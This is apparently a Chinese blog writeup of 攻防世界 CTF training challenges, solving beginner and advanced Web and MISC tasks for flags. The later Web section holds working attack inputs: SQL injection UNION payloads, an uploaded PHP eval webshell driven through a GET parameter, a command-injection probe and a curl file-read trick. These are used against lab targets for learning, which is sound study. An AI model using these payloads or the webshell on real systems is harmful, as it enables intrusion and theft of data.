0%

菜鸡 CTF 之旅 Writeup (攻防世界)

前言

我是个菜鸡,菜鸡就要先走新手练习区。

这次 CTF Writeup 的指定训练站点为 攻防世界

新手练习区

Web 区

view_source

题目描述:X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。

解答步骤:直接在地址栏前加上 view-source: 拿到 HTML 注释中的

cyberpeace{f3baff125*********f3cf5a7e6}

robots

解答步骤:地址栏后加上 /robots.txt ,得到

User-agent: *
Disallow: 
Disallow: f1ag_1s_h3re.php

访问 /f1ag_1s_h3re.php 得到 flag

backup

解答步骤:访问 index.php.bak,记事本打开得 flag

解答步骤:查看 cookie 看到要求访问 cookie.php,要求查看http response,看response header得到flag

MISC 区

this is flag

题目描述:Most flags are in the form flag{xxx}, for example:flag{th1s_!s_a_d4m0_4la9}

解答步骤:直接填入 flag{th1s_!s_a_d4m0_4la9}

pdf

题目描述:菜猫给了菜狗一张图,说图下面什么都没有

附件:一份 PDF

解答步骤:我一开始还想用 Word 转换 PDF 再尝试的,结果发现 Word 转换后字没了,然后试了一下 Ctrl+A,发现获取到文字,Ctrl+C 拿到 flag{security_through_obscurity}

https://static.yecdn.com/imguoguo/images/CTF-Writeup/pdf.png

果然 Ctrl+A 和 Ctrl+C 是人类第一生产力

如来十三掌

题目描述:菜狗为了打败菜猫,学了一套如来十三掌。

题目附件:一份 word 文档

打开文档可以看到很多个呐,由此我们可以断定这个是一个二次元 word 档(不是

夜哆悉諳多苦奢陀奢諦冥神哆盧穆皤三侄三即諸諳即冥迦冥隸數顛耶迦奢若吉怯陀諳怖奢智侄諸若奢數菩奢集遠俱老竟寫明奢若梵等盧皤豆蒙密離怯婆皤礙他哆提哆多缽以南哆心曰姪罰蒙呐神。舍切真怯勝呐得俱沙罰娑是怯遠得呐數罰輸哆遠薩得槃漫夢盧皤亦醯呐娑皤瑟輸諳尼摩罰薩冥大倒參夢侄阿心罰等奢大度地冥殿皤沙蘇輸奢恐豆侄得罰提哆伽諳沙楞缽三死怯摩大蘇者數一遮

https://static.yecdn.com/imguoguo/images/CTF-Writeup/word-na.png

没有思路,所以上网一搜,找到了解码站 与佛论禅

复制内容粘贴到下方解码框,发现提示:太深奥了,参悟不出佛经的真意……

于是随意输入文本,加密后出现开头 “佛曰:”,添加后再次解密

获得一串字符串

https://static.yecdn.com/imguoguo/images/CTF-Writeup/tudoucode.png

上网随意找一个 Rot13 解密工具

这玩意还真不能随便找,要找一个不会全部替换为小写的用,不然的话搞半天就白搞

解密后得

ZmxhZ3tiZHNjamhia3ptbmZyZGhidmNraWpuZHNrdmJramRzYWJ9

得到 flag

flag{bdscjhbkzmnfrdhbvckijndskvbkjdsab}

高手进阶区

Web 区

Training-WWW-Robots

访问 /robots.txt 要求访问 /fl0g ,访问获得flag

baby_web

F12 访问 / 看 response header 得到 flag

PHP2

这题。。。实属没思路,直接复制上网找题,发现是经过修改的,而且改得都找不出来

地址栏改为 /index.phps ,发现源码

<?php
// 不允许字符串直接等于 admin
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}
// URLDecode 后又要等于 admin
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

所以知道要将 admin 进行 encode 一下,得 %2561%2564%256d%2569%256e

访问 /index.php?id=%2561%2564%256d%2569%256e

web2

题目内容如下

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;

    for($_0=0;$_0<strlen($_o);$_0++){

        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?>

由代码可知,从底下开始,按照 str_rot13、strrev、base64_decode 的顺序进行逐级解密,得 ~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg ,观察中间 for 循环可以发现就是将其转为整数类型再往后移一位,眼尖的看解密后的可以直接看出来是类似于 flag:{ 一类的东西。

按照其代码(和变量风格)可以反向写出

<?php
function decode($pass){
    $_o =  base64_decode(strrev(str_rot13($pass)));

    $_ = '';

        for($_0=0;$_0<strlen($_o);$_0++){

            $_c=substr($_o,$_0,1);
            $__=ord($_c)-1;
            $_c=chr($__);
            $_=$_.$_c;   
        } 


return strrev($_);
}

echo decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"); // flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
?>

NewsCenter

打开出现一个框,输入 ‘ 后报 500 错误

输入

' union select 1,2,3 #

后 News 出现 2 | 3,输入

' union select 1,TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES #
' union select 1,TABLE_NAME,COLUMN_NAME from information_schema.COLUMNS #

分别可得知 1 中包含关键词 news, secret_table,2 中包含关键词 secret_table, fl4g,即存在一个 secret_table 表在 news 数据库中,同时在 secret_table 又有一个 fl4g 的字段,最后输入

' union select 1,'2',fl4g from secret_table #

可得 flag

upload1

进入网站,上传图片发现问题木大,且有详细路径,上传 .php 发现被拦截,查看源代码发现是前端拦截,遂直接去掉 js 重新上传,内容

<?php
    eval($_GET['cmd']);
?>

上传成功,显示路径,访问

/upload/1579158279.a.php?cmd=print_r(scandir(__DIR__ . '/../'), false);

# Output
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.html [4] => index.php [5] => install.sh [6] => upload )


/upload/1579158279.a.php?cmd=echo file_get_contents(DIR . ‘/../flag.php’);

# Output
<?php
$flag="cyberpeace{a87d78****************d3da76}";
?>

得到 flag

Cat

输入 localhost 后发现出现一个 ICMP 请求,似乎没什么用

陆续输入 ;ls 之类的以后发现提示 invaild URL

输入一个不和谐的 emoji 以后弹出报错信息

https://static.yecdn.com/imguoguo/images/CTF-Writeup/cat.png

根据 https://www.php.net/manual/zh/function.curl-setopt.php

https://static.yecdn.com/imguoguo/images/CTF-Writeup/cat-php-curl.png

输入 @ 可以传递文件,输入 @/opt/api/dnsapi/utils.py 出 invaild URL,输入 @/opt/api/database.sqlite3 出报错信息,搜索 CTF 得到flag